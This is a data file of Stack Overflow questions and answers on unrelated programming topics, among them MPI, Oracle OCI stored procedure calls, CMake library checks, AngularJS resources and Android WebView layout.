15927875	0	Calling a script which calls an MPI process from an MPI process <p>I have an MPI program (Fortran, <a href="http://www.mpich.org/" rel="nofollow">MPICH</a>) which I need to shell out from to a script which, in turn, starts its own MPI program (using <code>mpirun</code>). Thus far, I've wrapped the shell out (<code>system</code>) command in an <code>if(system_num .eq. root_system_num)</code> thing so only one MPI process runs the script. However, this causes a series of <code>HYDU_create_process</code> errors.</p> <p>I considered using <code>MPI_Comm_spawn</code> but there are warnings like "MPI does not say what happens if the program you start is a shell script and that shell script starts a program that calls <code>MPI_INIT</code>", so this seems less than ideal, as well.</p> <p>Some points:</p> <ul> <li>The program called in shell script does not need to interact with the calling program at all. The calling program just needs to wait until that process is done.</li> <li>There is not an easy way to turn the shell script into a separate executable (lots of environment variable setting, and so on).</li> <li>Ideally, this should work for both MPICH and <a href="http://www.open-mpi.org/" rel="nofollow">Open MPI</a>.</li> </ul> <p>Is there a way to do this?</p>
11445168	0	 <p>You should initialize the object of <code>DisplayViewController</code> class, </p> <pre><code> static void on_status_state(NSString *) stats { DisplayViewController* display = [[[DisplayViewController alloc] init] autorelease]; [display toReceiveStatus:@"Sample Label"]; } </code></pre> <p>You should check <code>- (void)toReceiveStatus:</code> is called or not. Declare statusLabel in DisplayConn.h as <code>UILabel *statusLabel;</code></p> <p>Try like this i think it will be helpful to you.</p> <pre><code>- (void)viewDidLoad { statusLabel = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 30, 20)]; statusLabel.font = [UIFont fontWithName:@"Helvetica-Bold" size:14]; statusLabel.font = [UIFont systemFontOfSize:15.0]; [self.view addSubview:statusLabel]; } </code></pre>
38255048	0	Separating axes from plot area in MATLAB <p>I find that data points that lie on or near the axes are difficult to see. The obvious fix, of course, is to simply change the plot area using <code>axis([xmin xmax ymin ymax])</code>, but this is not preferable in all cases; for example, if the x axis is time, then moving the minimum x value to -1 to show activity at 0 does not make sense. </p> <p>Instead, I was hoping to simply move the x and y axes away from the plot area, like I have done here: <a href="https://i.stack.imgur.com/WzkUw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WzkUw.png" alt="left: Matlab generated, right: desired (image editing software)"></a> left: MATLAB generated, right: desired (image editing software) </p> <p>Is there a way to automatically do this in MATLAB? I thought there might be a way to do it by using the <code>outerposition</code> axes property (i.e., set it to <code>[0 0 0.9 0.9]</code> and drawing new axes where they originally were?), but I didn't get anywhere with that strategy.</p>
19999138	0	 <p>Read <a href="http://www.nodeclipse.org/" rel="nofollow">http://www.nodeclipse.org/</a> carefully </p> <blockquote> <p><h3>Features</h3> <ul> <li>Creating default structure for New Node Project and New Node Source File</li> <li>Generating Express project with Wizard</li> <li>JavaScript Syntax highlighting</li> <li>Bracket matching and marking selection occurences with background color</li> <li>Content Assistant within one file</li> <li>Go to definition with <kbd>Ctrl</kbd>+click when <a href="http://usejsdoc.org/" rel="nofollow">JSDoc is used</a></li> <li>Refactoring within one file (<kbd>Alt+Shift+R</kbd>)</li> <li>JSON files highlight and validation</li> <li>NPM support</li> <li>Debugging - Breakpoint, Trace, Variables, Expressions, etc... via Eclipse debugger plugin for V8</li> <li>Setting project properties for JSHint-Eclipse automatically; <a href="http://www.jshint.com/" rel="nofollow">JSHint</a> settings template </li> <li>Passing arguments to Node application and Node.js, specifying environment variables values to use</li> <li>Running CoffeeScript *.coffee files</li> <li>Running *.js files with PhantomJS, MongoDB Shell or Java 8 Nashorn <pre>jjs</pre> util</li> <li>Bundled together with Markdown Editor, GitHub Flavored Markdown, StartExplorer (for system explorer and shell), RegEx, Icon Editor, MongoDB, RestClient Tool and other plugins (20+ in total, check update site and Nodeclispe Plugin List) </li> <li>Support for Eclipse Juno, Kepler, Luna M3</li> </ul></p> </blockquote> <p>As of 0.7 completion work as standard JSDT functionality, that is </p> <ul> <li>for objects defined in the same class,</li> <li>for objects annotated with with JSDoc</li> </ul> <p>If you want more, do it yourself with help from the other people.</p>
18881432	0	Grails template inheritance <p>I'm trying to mimic template inheritance as found in Django with a Grails app. I want to be able to define a '_header.gsp' which includes all the shared resources across the app:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;${title}&lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; %{--Shared Styles--}% &lt;link rel="stylesheet" href="${resource(dir: 'app/shared/css/bootstrap', file: 'bootstrap.min.css')}" type="text/css"&gt; %{--Shared Libraries--}% &lt;script src="${resource(dir: 'lib/jquery', file: 'jquery.js')}"&gt;&lt;/script&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"&gt;&lt;/script&gt; %{--View-specific styles--}% &lt;g:each var="style" in="${styles}"&gt; &lt;link rel="stylesheet" href="${style}" type="text/css"&gt; &lt;/g:each&gt; %{--View-specific scripts--}% &lt;g:each var="include" in="${includes}"&gt; &lt;script src="${include}" type="text/javascript"&gt;&lt;/script&gt; &lt;/g:each&gt; </code></pre> <p>For each specific view template I will include this _header.gsp with a dictionary to fill in the view-specific requirements:</p> <pre><code>&lt;g:render template="/header" model="[ title:'Alerts', styles:[ '${resource(dir: "app/stuff/css", file: "other.css")}', '${resource(dir: "app/stuff/css", file: "second.css")}' ], includes:[ '${resource(dir: "app/stuff/src/main/js/", file: "app.js")}', '${resource(dir: "app/stuff/src/main/js/", file: "filters.js")}' ] ]" /&gt; </code></pre> <p>This is not working, and I'm sure my syntax is wrong somewhere. Can you define a <code>'$resource(dir)'</code> path inside of a g:each like I have? Perhaps I need to use <code>g:link</code>? Can this be done with Grails?</p>
29713866	1	Python3: File path problems <p>Suppose my <code>Python3</code> project structure is :</p> <pre><code>Project | App.py | AFolder | | tool.py | | token.json </code></pre> <p>In <code>tool.py</code>, I use <code>os.path.exists('token.json')</code> to check whether the Json file exits. As expected, it returns <strong>true</strong>.</p> <pre><code>def check(): return os.path.exists('token.json') </code></pre> <p>However, when I call this in <code>App.py</code>, it returns <strong>false</strong>. </p> <p>It seems file path is different when calling functions between modules. How to solve it ?</p>
30675592	0	 <h1>Other XQuery implementations <em>do</em> support this query</h1> <p>If you want to validate that your query (as corrected per discussion in comments) <strong>does</strong> in fact work with other XQuery implementations when entered exactly as given in the question, you can run it as follows (tested in BaseX):</p> <pre><code>declare context item := document { &lt;actors&gt; &lt;actor filmcount="4" sex="m" id="15"&gt;Anderson, Jeff&lt;/actor&gt; &lt;actor filmcount="9" sex="m" id="38"&gt;Bishop, Kevin&lt;/actor&gt; &lt;/actors&gt; }; //actor/@id </code></pre> <hr> <h1>Oxygen XQuery needs some extra help</h1> <p>Oxygen XML doesn't support serializing attributes, and consequently discards them from a result sequence when that sequence would otherwise be provided to the user.</p> <p>Thus, you can work around this with a query such as the following:</p> <ul> <li><code>//actor/@id/string(.)</code></li> <li><code>data(//actor/@id)</code></li> </ul> <hr> <h2><em>Below applies to a historical version of the question.</em></h2> <p>Frankly, I would not expect <code>//actors/@id</code> to return anything against that data with any valid XPath or XQuery engine, ever.</p> <p>The reason is that there's only one place you're recursing -- one <code>//</code> -- and that's looking for <code>actors</code>. The single <code>/</code> between the <code>actors</code> and the <code>@id</code> means that they need to be <strong>directly</strong> connected, but that's not the case in the data you give here -- there's an <code>actor</code> element between them.</p> <p>Thus, you need to fix your query. There are numerous queries you could write that would find the data you wanted in this document -- knowing which one is appropriate would require more information than you've provided:</p> <ul> <li><code>//actor/@id</code> - Find <code>actor</code> elements anywhere, and take their <code>id</code> attribute values.</li> <li><code>//actors/actor/@id</code> - Find <code>actors</code> elements anywhere; look for <code>actor</code> elements directly under them, and take the <code>id</code> attribute of such <code>actor</code> elements.</li> <li><code>//actors//@id</code> - Find all <code>id</code> attributes in subtrees of <code>actors</code> elements.</li> <li><code>//@id</code> - Find <code>id</code> attributes anywhere in the document.</li> </ul> <p>...etc.</p>
19731457	0	UNIX shell script to read files, copy files and delete files <p>Hi I am writing a shell script in UNIX which reads a directory and copies the files in to another directory and then deletes the files in the first directory</p> <p>I have tried this but it does not work:-</p> <pre><code>files"=/project/scripts/input/" for f in $files; do [ mv /project/scripts/input/$f.txt /project/scripts/output/$f.xml rm /project/scripts/input/$f.txt ] else echo "Nothing to process will try later" exit fi </code></pre>
18590755	0	How to split a csv file 20 lines at a time using Splitter EIP, in apache camel? <p>I have a <strong>csv file</strong> having 2000 lines. I wish to <strong>split it 20 lines</strong> at a time and send each to a processor in apache camel. How do I do it using <strong>Splitter EIP</strong> ? Please help ..</p>
25650791	0	 <p>You can change the raw data from "&lt;0" to "-1" before you tabulate it with:</p> <pre><code>credit_arff$checking_status[ credit_arff$checking_status=="&lt;0" ] &lt;- "-1" </code></pre> <p>Or you can tabulate it first and then get the headings with</p> <pre><code>rownames(table(credit_arff$checking_status) </code></pre> <p>...and change it there if you want. The limiting factor is that the vector of data, or the vector of rownames, will not contain a mix of numeric and character data. Even if you omit the doublequotes around "-1" from the code above, the data will change to "-1". Whether that's acceptable depends what you're doing with the numbers next. Or will you be changing all the other contents to numeric as well?</p>
7864869	0	Using awk for conditional find/replace <p>I want to solve a common but very specific problem: due to OCR errors, a lot of subtitle files contain the character "I" (upper case i) instead of "l" (lower case L).</p> <p>My plan of attack is:</p> <ol> <li>Process the file word by word</li> <li>Pass each word to the hunspell spellchecker ("echo the-word | hunspell -l" produces no response at all if it is valid, and a response if it is bad)</li> <li>If it is a bad word, AND it has uppercase Is in it, then replace these with lowercase l and try again. If it is now a valid word, replace the original word.</li> </ol> <p>I could certainly tokenize and reconstruct the entire file in a script, but before I go down that path I was wondering if it is possible to use awk and/or sed for these kinds of conditional operations at the word-level? </p> <p>Any other suggested approaches would also be very welcome! </p>
33315302	0	 <p>Yes it is a good approach. when you go through the go documentation it clearly tells you </p> <blockquote> <p>It is rare to Close a DB, as the DB handle is meant to be long-lived and shared between many go routines.</p> </blockquote> <p>Go maintains its own pool of idle connections. Thus, the Open function should be called just once. It is rarely necessary to close a DB.</p>
34404403	0	 <p>There is no circuit breaker library from Microsoft. I have used <a href="https://github.com/App-vNext/Polly" rel="nofollow">Polly</a> with great success.</p> <p>It is really easy to use</p> <pre><code>var policy = Policy .Handle&lt;TimeoutException&gt;() .CircuitBreaker(2, TimeSpan.FromMinutes(1)); var result = policy.Execute(() =&gt; FetchData(p1, p2)); </code></pre> <p>Read more about in my blogpost <a href="http://www.lybecker.com/blog/2013/08/07/automatic-retry-and-circuit-breaker-made-easy/" rel="nofollow">Automatic Retry and Circuit Breaker made easy</a>.</p> <p>If my answer is useful, please accept the answer.</p>
27273909	0	CHECK_LIBRARY_EXISTS library with dependencies <p>I'm using cmake to build my c++-project that uses a library that is located in my "/usr/local/bin/" directory. The relevant part in the CMakeList.txt reads:</p> <pre><code>CHECK_INCLUDE_FILES("/usr/local/include/fann.h" HAVE_FANN_HEADER) CHECK_LIBRARY_EXISTS(fann fann_get_errno "/usr/local/lib/" HAVE_FANN_LIB) if(${HAVE_FANN_HEADER} AND ${HAVE_FANN_LIB}) </code></pre> <p>the header is found without a problem the while library is not. Looking into the CMakeError.txt shows:</p> <pre><code>`/usr/bin/cc -DCHECK_FUNCTION_EXISTS=fann_get_errno CMakeFiles/cmTryCompileExec2973046031.dir/CheckFunctionExists.c.o -o cmTryCompileExec2973046031 -L/usr/local/lib -rdynamic -lfann -Wl,-rpath,/usr/local/lib /usr/local/lib/libfann.so: undefined reference to 'sin' /usr/local/lib/libfann.so: undefined reference to 'exp' /usr/local/lib/libfann.so: undefined reference to 'cos' /usr/local/lib/libfann.so: undefined reference to 'log' /usr/local/lib/libfann.so: undefined reference to 'pow' /usr/local/lib/libfann.so: undefined reference to 'sqrt' /usr/local/lib/libfann.so: undefined reference to 'floor'` </code></pre> <p>in the subsequent if-statement the second variable is therefore undefined.</p> <p>I suspect that this is because the test program is not linked with the standard math library. However in my main program the libm.so will be linked.</p> <p>How do I fix the linking of the cmake test program?</p> <p>I would be happy about any comments Thank you</p> <p>Arne</p>
5813550	0	Call win32 CreateProfile() from C# managed code <p>Quick question (hopefully), how do I properly call the win32 function CreateProfile() from C# (managed code)? I have tried to devise a solution on my own with no avail.</p> <p><b>The syntax for CreateProfile() is:</b></p> <pre><code> HRESULT WINAPI CreateProfile( __in LPCWSTR pszUserSid, __in LPCWSTR pszUserName, __out LPWSTR pszProfilePath, __in DWORD cchProfilePath );</code></pre> <p>The supporting documents can be found in the <a href="http://msdn.microsoft.com/en-us/library/bb762271(v=VS.85).aspx" rel="nofollow">MSDN library</a>.</p> <p>The code I have so far is posted below.</p> <p><b>DLL Import:</b></p> <pre><code> [DllImport("userenv.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int CreateProfile( [MarshalAs(UnmanagedType.LPWStr)] string pszUserSid, [MarshalAs(UnmanagedType.LPWStr)] string pszUserName, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszProfilePath, uint cchProfilePath); </code></pre> <p><b>Invoking the function:</b></p> <pre><code> /* Assume that a user has been created using: net user TestUser password /ADD */ // Get the SID for the user TestUser NTAccount acct = new NTAccount("TestUser"); SecurityIdentifier si = (SecurityIdentifier)acct.Translate(typeof(SecurityIdentifier)); String sidString = si.ToString(); // Create string buffer StringBuilder pathBuf = new StringBuilder(260); uint pathLen = (uint)pathBuf.Capacity; // Invoke function int result = CreateProfile(sidString, "TestUser", pathBuf, pathLen); </code></pre> <p><br /> The problem is that no user profile is ever created and CreateProfile() returns an error code of: <em>0x800706f7</em>. Any helpful information on this matter is more than welcomed.</p> <p>Thanks,<br /> -Sean</p> <p><br /> <b>Update:</b> Solved! string buffer for pszProfilePath cannot have a length greater than 260.</p>
19403651	0	 <p>Looks like you must replace manually</p> <pre><code>for (int i=0; i &lt; str.length(); i++){ if (str[i] == '/') str[i] = '-'; } </code></pre>
33103947	0	Unexpected error running stored oracle PL/SQL proceedure <p>The database I am accessing has a whole API of stored procedures (several hundred) in several packages. I working on new client software to interact with this database and I need to invoke these stored procedures using OCI. Since I am new at this, I decided to start with the easiest one first. It is not working. </p> <p>It would be helpful if I could get the actual PL/SQL code of the stored procedure. The package does not reside in my user schema, but I do have execute privileges on it. When I query the ALL_SOURCE view I get the package declarations, but not the package body. I also tried the dbms_metadata.get_ddl view, but it just says "Package PTAPI not found in schema for ". Are there any other ways to get the actual PL/SQL code from the package body?</p> <p>Here is the PL/SQL package declaration of the example procedure I am trying to use. This particular one creates a textual error message given an error code and some optional parameters that depend on the specific error code. </p> <pre><code>-- format an error message from ERRMSGS table PROCEDURE formatmessage( p_error IN errmsgs.error%TYPE -- index into ERRMSGS , p_errnum OUT errmsgs.error%TYPE -- adjusted error number , p_errmsg OUT errmsgs.MESSAGE%TYPE -- formatted message , p_a IN VARCHAR2 DEFAULT NULL , p_b IN VARCHAR2 DEFAULT NULL , p_c IN VARCHAR2 DEFAULT NULL , p_d IN VARCHAR2 DEFAULT NULL , p_e IN VARCHAR2 DEFAULT NULL ); -- formatmessage </code></pre> <p>My code to invoke the procedure is below [statement and err are OCI handles passed into this function from higher up]</p> <pre><code>char errmsg[256]; //buffer to receive the error message long errnum; //buffer to receive the adjusted error number memset(errmsg,0,256); errnum = 0; //start the message buffer empty OCIBind* bind1 = NULL, *bind2 = NULL; //to receive the bind handles ub4 curelep1 = 1; //1 errnum element ub4 curelep2 = 1; //1 errmsg element ub2 alenp1 = sizeof(long); //errnum element size ub2 alenp2 = 256; //errmsg element size char sql[] = "BEGIN PTAPI.FORMATMESSAGE(193,:P_ERRNUM,:P_ERRMSG, '','','','',''); END;\0" OCIStmtPrepare(statement,err,(text*)sql,strlen(sql),OCI_NTV_SYNTAX, OCI_DEFAULT); //parse the SQL statement OCIBindByName(statement,&amp;bind1,err,(text*)":P_ERRNUM",-1,&amp;errnum, sizeof(long),SQLT_INT,NULL,&amp;alenp1,NULL,1,&amp;curelep1,OCI_DEFAULT); //bind errnum OCIBindByName(statement,&amp;bind2,err,(text*)":P_ERRMSG",-1,errmsg,256, SQLT_STR,NULL,&amp;alenp2,NULL,1,&amp;curelep2,OCI_DEFAULT); //bind errmsg if(OCIStmtExecute(svcctx,statement,err,1,0,NULL,NULL,OCI_DEFAULT) != OCI_SUCCESS) //execute the statement { long errcode; char errbuf[512]; OCIErrorGet (err,1,NULL,(sb4*)&amp;errcode,(OraText*)errbuf,512, OCI_HTYPE_ERROR); //check to see what the error was printf("ERROR %d - %s\n",errcode,errbuf); return FAIL; } </code></pre> <p>The statement parses properly and the two binds succeed, but I get an error on execute. The error I get is</p> <pre><code>ERROR 6550 - ORA-06550: line 1, column 7: PLS-00306: wrong number or types of arguments in call to 'FORMATMESSAGE' ORA-06550: line 1, column 7: PLS-00306: wrong number or types of arguments in call to 'FORMATMESSAGE' ORA-06550: line 1, column 7: PL/SQL: Statement ignored </code></pre> <p>I am confused by this error because I imitated a call to this same function from the old client software that works properly. I definitely have the right number and types of arguments. Any ideas why I would be getting this error?</p> <p><strong>---- UPDATE ----</strong> </p> <p>I found a better example procedure to test. This one is not stored in a package, it is a standalone procedure, and so I have the full PL/SQL code. I get the exact same error. It has to be something to do with how I am invoking them. Thanks for any ideas.</p> <p>This one deletes an item of a certain type from the database (entries on 3 different tables). </p> <p>Here is the PL/SQL</p> <pre><code>PROCEDURE DELSTL(comp IN 3DCOMPS.COMPID%TYPE, rowcount OUT integer, errorcode OUT number) AS tempcount INTEGER; BEGIN errorcode := 0; DELETE FROM 3DCOMPS WHERE COMPID = comp; tempcount := sql%rowcount; IF (sql%rowcount &lt; 1) THEN errorcode := 330; END IF; DELETE FROM IDINF WHERE COMPID = comp; IF (sql%rowcount &lt; 1) THEN errorcode := 332; ELSIF (tempcount &lt; sql%rowcount) THEN tempcount := sql%rowcount; END IF; rowcount := tempcount; DELETE FROM ATTLOC WHERE COMPID1 = comp OR COMPID2 = comp; END; </code></pre> <p>Here is my slightly modified code for this new test procedure</p> <pre><code>long errnum; //buffer to receive the error number long rowcnt; //buffer to receive the row count OCIBind* bind1 = NULL, *bind2 = NULL; //to receive the bind handles ub4 curelep1 = 1; //1 errnum element ub4 curelep2 = 1; //1 rowcnt element ub2 alenp1 = sizeof(long); //errnum element size ub2 alenp2 = sizeof(long); //rowcnt element size char sql[] = "BEGIN DELSTL('FAKEIDNUM',:P_ROWCNT,:P_ERRNUM); END;\0" OCIStmtPrepare(statement,err,(text*)sql,strlen(sql),OCI_NTV_SYNTAX, OCI_DEFAULT); //parse the SQL statement OCIBindByName(statement,&amp;bind1,err,(text*)":P_ERRNUM",-1,&amp;errnum, sizeof(long),SQLT_INT,NULL,&amp;alenp1,NULL,1,&amp;curelep1,OCI_DEFAULT); //bind errnum OCIBindByName(statement,&amp;bind2,err,(text*)":P_ROWCNT",-1,&amp;rowcnt, sizeof(long),SQLT_INT,NULL,&amp;alenp2,NULL,1,&amp;curelep2,OCI_DEFAULT); //bind rowcnt if(OCIStmtExecute(svcctx,statement,err,1,0,NULL,NULL,OCI_DEFAULT) != OCI_SUCCESS) //execute the statement { long errcode; char errbuf[512]; OCIErrorGet (err,1,NULL,(sb4*)&amp;errcode,(OraText*)errbuf,512, OCI_HTYPE_ERROR); //check to see what the error was printf("ERROR %d - %s\n",errcode,errbuf); return FAIL; } </code></pre> <p>I use 'FAKEIDNUM' since I obviously dont want to actually delete anything during this test. Since that doesnt exist in those tables, rowcnt should be 0 and errnum should be 332 when the procedure ends.</p> <p>I get exactly the same error as with the other procedure. </p> <pre><code>ERROR 6550 - ORA-06550: line 1, column 7: PLS-00306: wrong number or types of arguments in call to 'DELSTL' ORA-06550: line 1, column 7: PLS-00306: wrong number or types of arguments in call to 'DELSTL' ORA-06550: line 1, column 7: PL/SQL: Statement ignored </code></pre> <p>Does this give anyone any ideas? Thanks!</p>
22447955	0	Simple ColdFusion Form <p>This is for a simple submit into a database. I have two tables. One is called "Authors", while the other is called "corpPosts".</p> <p>The Form consist of a Title, and a Body value that will be inserted as a new entry into the corpPosts Table.</p> <p>The form also consists of a drop down box which collects values from the Authors table. The user clicks the designated author to decide who posted the blog.</p> <p>Once the form is submitted, it Creates a new record in the corpPosts Table, inserting the Title, Body, as well as the author into the corpposts table. The Author in the corppost table is represented by "UserID".</p> <p>I do not remember how to associate the AuthorName to the UserID however. I know this is a relatively simple query.</p> <pre><code>&lt;cfform action="AddCorp.cfm" method="post"&gt; &lt;cfinput type="text" reqired="yes" name="Title" id="Title"&gt; &lt;textarea style="width: 1000px; height: 600px;" name="CorpBody" id="Body"&gt;&lt;/textarea&gt; &lt;select Name="SelectAuthor"&gt; &lt;!--- Queries ---&gt; &lt;cfquery name="Authors" datasource="corpposts"&gt; SELECT Name FROM Authors &lt;/cfquery&gt; &lt;cfoutput QUERY="Authors"&gt;&lt;option&gt;#Name#&lt;/option&gt;&lt;/cfoutput&gt; &lt;/select&gt; &lt;cfinput type="Submit" name="Submit" id="Submit" value="Submit"&gt; &lt;/cfform&gt; </code></pre> <p>On the Next Page:</p> <pre><code>&lt;!--- Query to Insert ---&gt; &lt;CFQUERY name="AddPosts" datasource="corpposts"&gt; INSERT INTO CorpPosts (Title, CorpBody, UserID) VALUES ('#Form.Title#', '#Form.CorpBody#', '#Form.UserID#') &lt;/CFQUERY&gt; </code></pre>
3127877	0	 <p>The dot added to the name is used by the <a href="http://www.hanselman.com/blog/ASPNETWireFormatForModelBindingToArraysListsCollectionsDictionaries.aspx" rel="nofollow noreferrer">default model binder</a> when the form is submitted in order to correctly populate the model. As far as validation is concerned you could set it like this:</p> <pre><code>$("#myForm").validate({ rules: { 'Box.Name': { required: true } }, messages: { 'Box.Name': { required: 'some error message' } } }); </code></pre>
35020279	0	Edit image in UIImageView and use new image <p>I have an app where you enter information into some forms and press a button to email the image with the information from the forms put on the image. I turn the strings from the forms into UILabels and place those on the UIImageView and then I try to get that image and email it as an attachments. When I do press the button, I just get the original image in the email. Here's my code:</p> <pre><code>-(IBAction)emailToCustomer:(id)sender { UIImage *rebateImage = [UIImage imageNamed:@"rebate.png"]; UIImageView *rebateImView = [[UIImageView alloc]initWithImage:rebateImage]; UILabel *rebateLabel = [[UILabel alloc]init]; rebateLabel.text = productField.text; [rebateImView addSubview:rebateLabel]; NSData *rebateData = UIImagePNGRepresentation(rebateImView.image); MFMailCOmposeViewController *mailVC = [[MFMailComposeViewController alloc]init]; [mailVC setMailComposeDelegate:self]; if([MFMailComposeViewController canSendMail]) { [mailVC setSubject:@"Rebate"]; [mailVC addAttachmentData:rebateData mimeType:@"image/png" filename:@"RebateCoupon.png"]; [self presentViewController:mailVC animated:YES completion:nil]; } else { NSLog(@"Can't Send Mail"); } } </code></pre> <p>All I get in the email is the original rebate image, even though I enter information in the fields. I want the text from productField to be put on the image from the UIImageView and attach the new image to the email.</p>
11341997	0	 <p>Have you tried</p> <pre><code> if(s1 == "Computer" ) { sb.Append("&lt;tr&gt;&lt;td&gt;"+s1+"&lt;/td&gt;&lt;/tr&gt;"); } </code></pre>
40682298	0	 <p>You should have a Source and Design button in your project, so when you select Design button, it lets you update properties of all objects. You have it?</p>
11039790	0	 <p>Per this <a href="http://www.liferay.com/web/guest/community/wiki/-/wiki/Main/Pluggable+Enterprise+Search+with+Solr" rel="nofollow">link</a> it is to externalize the search function from the portal. </p> <p>Using Solr instead of Lucene gives you the additional capabilities of Solr such as Replication, Sharding, Result clustering through Carrot2, Use of custom Analyzers/Stemmers etc. </p> <p>It also can offload search server processing to a separate cluster.</p> <p>Opens up the possibilities of search driven UI (facetted classification etc) separate from your portal UI.</p>
38395857	0	Two synchronous http calls using Observable <p>I have a problem with Observables in Angluar2 app. Let assume hypothetical situation that I need to make two separate http calls. One call depends directly on the result of the other. The code looks like this:</p> <pre><code>this.http.get('http://kalafior/group/'+id) .map(res =&gt; res.json()) .subscribe(group =&gt; { //url depends on previous call result this.http.get('http://kalafior/group/'+group.id+'/posts') .map(res =&gt; res.json()) .subscribe((res) =&gt; { console.log(res); }); }); </code></pre> <p>There are nested subscribe() calls which I want to get rid of. </p>
38504716	0	 <blockquote> <p>What's the easiest method to solve this?</p> </blockquote> <p>Brute force.</p> <p>Compute all products of 3 numbers in N choose 3 time, and then take the maximum.</p> <p>How big is your input? You could reuse products of 2 numbers with a memoizing (dynamic programming) approach.</p>
27174398	0	AngularJS. Possible to add custom properties on a $resource factory? <p>I have a HTTP based RESTful APIs When i connect for example to www.domain.com/chiamate/ELSENWZ i got this result:</p> <pre><code>{ "TICKET": "155112-I", "TICKET_2": "ATRE6463", "ACCOUNT_NAME": "PIPPO", "CUSTOMER_NUMBER": "AG5", "PROBLEM_TYPE": "H", "VENDOR": "ITALWARE-CON", "DESCR": "HP 6300 PRO SFF", } </code></pre> <p>I have implemented into AngularJS a service to use the rest api in this way:</p> <pre><code>var services = angular.module('ngdemo.services', ['ngResource']); services.factory('ChiamataFactory', function ($resource) { return $resource('/chiamate/:id', {}, { show: { method: 'GET', isArray: false, // &lt;- not returning an array transformResponse: function(data, headers){ var wrapped = angular.fromJson(data); alert(JSON.stringify(wrapped, null, 4)); angular.forEach(wrapped.items, function(item, idx) { wrapped.items[idx] = new Post(item); //&lt;-- replace each item with an instance of the resource object }); return wrapped; } }, create: { method: 'POST' }, update: { method: 'PUT', params: {id: '@id'} }, }) }); </code></pre> <p>because i want that when the controller use the service,</p> <pre><code>$scope.chiamata = ChiamataFactory.show({id: 'ELSENWZ'}); </code></pre> <p>into result i need to add some extra properties.</p> <p>The problem is that the service don't use the transformResponse</p>
2271532	0	Android: Forcing a WebView to a certain height (or triggering scrolling for a div) <p>I am building an app which contains an input form and a WebView. The project is available at <a href="http://code.google.com/p/android-sap-note-viewer/" rel="nofollow noreferrer">http://code.google.com/p/android-sap-note-viewer/</a></p> <p>The WebView will render a website based on the input and this page has a DIV with the main contents (could be hundreds of lines). I have no control of the contents on the website.</p> <p>Android WebKit doesn't seem to do any scrolling in a DIV, ref <a href="http://www.gregbugaj.com/?p=147" rel="nofollow noreferrer">http://www.gregbugaj.com/?p=147</a>. Therefore, only parts of the DIV is shown to the user, with no method of retrieving the rest of the text. <strong>My challenge is to find a way that all the text of the DIV is shown</strong>.</p> <p>My view is defined as the following: </p> <pre><code> &lt;LinearLayout android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="wrap_content"&gt; &lt;TextView android:layout_width="wrap_content" android:textAppearance="?android:attr/textAppearanceMedium" android:layout_height="wrap_content" android:text="@string/lblNote" /&gt; &lt;EditText android:id="@+id/txtNote" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:numeric="decimal" android:maxLength="10" /&gt; &lt;Button android:id="@+id/bView" android:text="@string/bView" android:layout_width="wrap_content" android:layout_height="wrap_content" /&gt; &lt;/LinearLayout&gt; &lt;WebView android:id="@+id/webview" android:layout_width="fill_parent" android:layout_height="wrap_content" android:isScrollContainer="false" android:keepScreenOn="false" android:minHeight="4096px" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>Here I've tried to hardcode the WebView to a large height in order to make sure the DIV is stretched out and shows all the text, and also force the LinearLayout to do the scrolling.</p> <p>However, the WebView is always adapting to the screen size (which would be good in most cases, but not this).</p> <p><strong>Any ideas on how to solve this problem?</strong></p> <p>(only solution I see now is to fetch the HTML myself, remove the DIV and send it to the WebView)</p>
959692	0	 <p>I guess it's a hard thing to do. Firstly you need to read the text in that pdf, and then use some mechanism of synthetic voice generation to create the audio content. Then you have to store it as an mp3.</p>
40123506	0	 <p>try this answer from @J Santosh</p> <p><a href="http://stackoverflow.com/a/32103637/6952155">http://stackoverflow.com/a/32103637/6952155</a></p> <p>this is the fiddle</p> <p><a href="http://jsfiddle.net/SantoshPandu/z2v31Leo/3/" rel="nofollow">http://jsfiddle.net/SantoshPandu/z2v31Leo/3/</a></p> <p>snippet <div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() { var dateStart = new Date(); dateStart.setDate(dateStart.getDate()-1); var dp = document.getElementById("datepicker1"); $("#datepicker1").datepicker( { format: "mm-yyyy", startView: "months", minViewMode: "months", startDate: dateStart, datesDisabled: dp.dataset.datesDisabled.split() }).datepicker("setDate",null); $("#datepicker1").on('changeMonth',function(date){ console.log(date.date.getMonth()+1); }) });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.css"&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.min.js"&gt;&lt;/script&gt; &lt;div class="modal-body"&gt; &lt;div class="input-append date" id="datepicker1" data-date="Aug-2015" data-date-format="mm-yyyy" data-dates-disabled="Sep-2015,Oct-2015" style="display:inline-block; font-weight:bold;"&gt; Check In: &lt;input type="text" readonly="readonly" name="date1" &gt; &lt;span class="add-on"&gt;&lt;i class="glyphicon glyphicon-calendar"&gt;&lt;/i&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> </div> </div> </p>
